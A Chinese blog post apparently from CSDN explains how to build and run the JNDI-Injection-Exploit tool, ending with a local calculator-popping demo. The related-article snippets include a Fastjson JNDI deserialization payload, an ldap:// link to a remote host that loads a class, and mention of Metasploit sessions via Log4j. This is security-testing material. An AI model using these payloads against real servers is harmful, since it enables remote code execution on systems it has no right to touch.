JNDI-Injection-Exploit工具安装

最新推荐文章于 2024-09-13 07:26:45 发布

学海无涯一叶扁舟

最新推荐文章于 2024-09-13 07:26:45 发布

阅读量1.1k

点赞数 1

分类专栏：安装软件文章标签： jar java

本文链接：https://blog.csdn.net/arissa666/article/details/133894520

版权

安装软件专栏收录该内容

3 篇文章 0 订阅

订阅专栏

从github上下载安装

git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

打开

cd JNDI-Injection-Exploit

编译安装，Maven入门百科_maven中quickstart是什么意思-CSDN博客

mvn clean package -DskipTests

因为提示mvn错误，解决下报错问题

mvn报错解决,参照文章：解决linux mvn: command not found - 你我博客

配置路径

配置完成之后就可以看到mvn版本信息了

正常编译显示如下

执行一个本地调用计算机命令

注意需要在.jar的目录写命令，或者java -jar 后面加上目录

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C open /Applications/Calculator.app -A 127.0.0.1

关注博主即可阅读全文

确定要放弃本次机会？

福利倒计时

: :

立减 ¥

普通VIP年卡可用

立即使用

学海无涯一叶扁舟

关注关注

1
点赞
踩
3

收藏

觉得还不错? 一键收藏
1
评论
复制链接

分享到 QQ

分享到新浪微博

扫一扫

专栏目录

JNDIExploit-1.4-SNAPSHOT.jar

01-10

编译后的JNDIExploit-1.4-SNAPSHOT.jar，可以直接用，1.4版本支持tomcatBypass路由直接上线msf。

JNDI-Injection-Exploit:JNDI注入测试工具（生成JNDI链接的工具可以启动多个服务器来利用JNDI Injection漏洞，例如Jackson，Fastjson等）

05-07

JNDI注入漏洞描述 JNDI-Injection-Exploit是用于生成可用的JNDI链接并通过启动RMI服务器，LDAP服务器和HTTP服务器来提供后台服务的工具。 RMI服务器和LDAP服务器基于并进行了进一步修改以与HTTP服务器链接。使用此工具可以获取JNDI链接，可以将这些链接插入POC以测试漏洞。例如，这是一个Fastjson vul-poc： { " @type " : " com.sun.rowset.JdbcRowSetImpl " , " dataSourceName " : " rmi://127.0.0.1:1099/Object " , " autoCommit " : true } 我们可以用JNDI-Injection-Exploit生成的链接替换“ rmi：//127.0.0.1：1099 / Object”，以测试漏洞。免责声明所有信

1 条评论您还未登录，请先登录后发表或查看评论

JNDI-Injection-Exploit 项目使用教程

最新发布

gitblog_00727的博客

09-13

826

JNDI-Injection-Exploit 项目使用教程 JNDI-Injection-Exploit JNDI命令注入利用项目地址: https://gitcode.com/gh_mirrors/jnd/JNDI-Injec...

JNDI-Injection-Exploit

做你想做的人，没有时间的限制，只要愿意，什么时候都可以start。

12-12

3963

JNDI-Injection-Exploit工具比marshalsec要好用的多，相当于把http服务器和协议服务器放在了一起 github地址 https://github.com/welk1n/JNDI-Injection-Exploit.git 可以下载其release下的安装包 $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] 其中: -C - 远程class文件中要执行的命令。

Log4j2日志框架JNDI注入漏洞分析与复现

两米以下皆凡人的博客

12-14

5304

1、漏洞背景大家在实际开发中，几乎无可避免的需要用到日志框架，不管你是前端后端客户端，他们可以追踪和记录我们的程序运行中的信息，我们可以利用日志很快定位问题，追踪分析。而对于Java开发人员来说，最常用的日志框架便是Log4j2和logback，而本次漏洞的主角便是Apache Log4j2，它有一个特别强大的功能插件Lookups 如果我们试图通过日志去输出一个程序中不存在的对象，而在其他地方，那么我们便可以通过这个插件去通过某些方式去查找目标内容，它只提供一种规范，具体使用哪些方式去查找

JNDI注入-RMI&LDAP服务（详细完整原理篇，小白也能看得懂）

qq_68064663的博客

09-14

1524

使用jndi注入工具：JNDI-Injection-Exploit可以生成远程调用链接ldap://47.94.236.117:1389/nx5qkh，ldap://47.94.236.117:1389/nx5qkh：执行远程地址的一个class文件，功能：调用47.94.236.117的计算器。JNDI是java系统自带的api，用于访问ldap，rmi...的api，ldap和rmi是JNDI内置接口，他们这些接口可以远程调用执行一些文件，文件中可以命令执行，如调用计算器。Injection和。

jndi-JNDI-Injection-Exploit

12-27

java asm jndi_JNDI-Injection-Exploit，用于log4j2漏洞验证可执行程序为jar包，在命令行中运行以下命令： $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] 其中: -C ...

JNDI-Injection-Exploit-1.0-SNAPSHOT-all

04-30

该压缩包"JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar"可能包含了一个JNDI注入攻击的示例或者测试工具，"SNAPSHOT"通常表示这是一个开发中的版本，可能尚未经过完整测试，因此可能存在漏洞或不稳定性。使用这样的...

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip

12-12

标题"JNDI-Injection-Exploit-1.0-SNAPSHOT-all.zip"暗示了这是一个关于JNDI注入漏洞的exploit工具包，版本为1.0 SNAPSHOT，可能包含了多个利用示例或攻击代码。"all"可能表示该压缩包包含了所有相关的组件或测试...

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

05-27

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/...

JNDI-Inject-Exploit

11-04

# JNDI-Inject-Exploit ## 免责声明本工具仅面向**合法授权的企业安全测试**，如您需测试本工具的可用性请自行搭建靶机环境，在使用本工具进行检测时，您应确保该行为符合当地的法律法规，并且已经取得了足够的授权。**请勿对非授权目标进行扫描，如您在使用本工具的过程中存在任何非法行为，您需自行承担相应后果，作者将不承担任何法律及连带责任。** ## Introduce > 本工具用于解决 Fastjson、log4j2、原生JNDI注入等场景中针对高版本JDK无法加载远程恶意类，通过LDAP服务器返回原生Java反序列化数据，受害者（客户端）在具备反序列化Gadget依赖的情况下可达到命令执行、代码执行、回显命令执行、无文件落地内存马注册等。 > > Solve the high version of JDK Bypass, like FastJson, Jackson, Log4j2, native JNDI injection vulnerabilities, and detect locally available deserialization gad

jndi-1_2_1.zip_jndi_jndi-1.2.1.jar

09-23

在JAVA编程中对JNDI的支持.是一个开放的源码.

JNDI-Injection-Exploit项目介绍

gitblog_00055的博客

03-23

374

JNDI-Injection-Exploit项目介绍 JNDI-Injection-ExploitJNDI注入测试工具（A tool which generates JNDI links can start several servers to exploit JNDI Injection vulnerability,like Jackson,Fastjson,etc）项目地址:https://...

用marshalsec & Jndi注入利用工具（JNDI-Injection-Exploit）复现Fastjson反序列化漏洞--保姆级！复现过程！

2301_79837041的博客

04-11

2790

安装maven环境后，更新完环境变量，但是每次使用mvn命令必须在source之后才能使用，我用的是kali，网上文章说在~./bash里面更新source /etc/profile 我试过了，没有用，最后是换在ubuntu系统里面安装才成功的，目前还不知道为什么，有大佬知道可以告诉我一下。在fastjson中我们使用构造的json格式字符串进行反序列化的攻击，我们给指定类中的值输入恶意内容（rmi链接），让目标服务在反序列化的时候，请求rmi服务器，执行rmi服务器下发的命令，从而导致远程命令执行漏洞。

log4j2漏洞复现(CVE-2021-44228)

lionwerson的博客

12-29

3551

log4j2漏洞复现(CVE-2021-44228) 漏洞简介： log4j是Apache公司的一款JAVA日志框架，基本上只要是java的框架都会用到这个log4j框架，所以上周不管是不是IT圈的都几乎被刷屏了，可见这个洞的危害之大，波及范围之广。所以复现一下。影响版本： Apache Log4j 2.x >=2.0-beta9 且 < 2.15.0 复现环境1： 1.log4shell-vulnerable-app环境: docker run --name vulnerable-a

java asm jndi_JNDI-Injection-Exploit

weixin_29066121的博客

02-16

1410

介绍最近把自己之前写的JNDI注入工具改了一下push到了github，地址：github，启动后这个工具开启了三个服务，包括RMI、LDAP以及HTTP服务，然后生成JNDI链接。测试时可以将JNDI链接插入到JNDI注入相关的POC中，如Jackson、Fastjson反序列化漏洞等。三个服务中，RMI和LDAP基于marshalsec中RMIRefServer、LDAPRefServer类修...

Java语言深入－－基于JNDI的应用开发

kinglino520的专栏

07-23

351

基于JNDI的应用开发 JNDI(The Java Naming and Directory Interface，Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来，使得我们可以用名称访问对象。目录服务是一种命名服务，在这种服务里，对象不但有名称，还有属性。命名或目录服务使你可以集中存储共有信息，这一点在网络应用中是重要的

JNDI-Injection-Exploit 使用教程

gitblog_01056的博客

08-08

849

JNDI-Injection-Exploit 使用教程项目地址:https://gitcode.com/gh_mirrors/jn/JNDI-Injection-Exploit 项目介绍 JNDI-Injection-Exploit 是一个用于生成可工作的 JNDI 链接并提供后台服务的工具，通过启动 RMI 服务器、LDAP 服务器和 HTTP 服务器来实现。该工具主要用于测试 JNDI 注入...

jndi-injection-exploit-1.0-snapshot-all.jar

03-16

jndi-injection-exploit-1.-snapshot-all.jar 是一个 Java 应用程序，用于测试和利用 JNDI 注入漏洞。JNDI 注入漏洞是一种常见的安全漏洞，攻击者可以利用该漏洞在目标系统上执行任意代码。该工具可以帮助安全研究...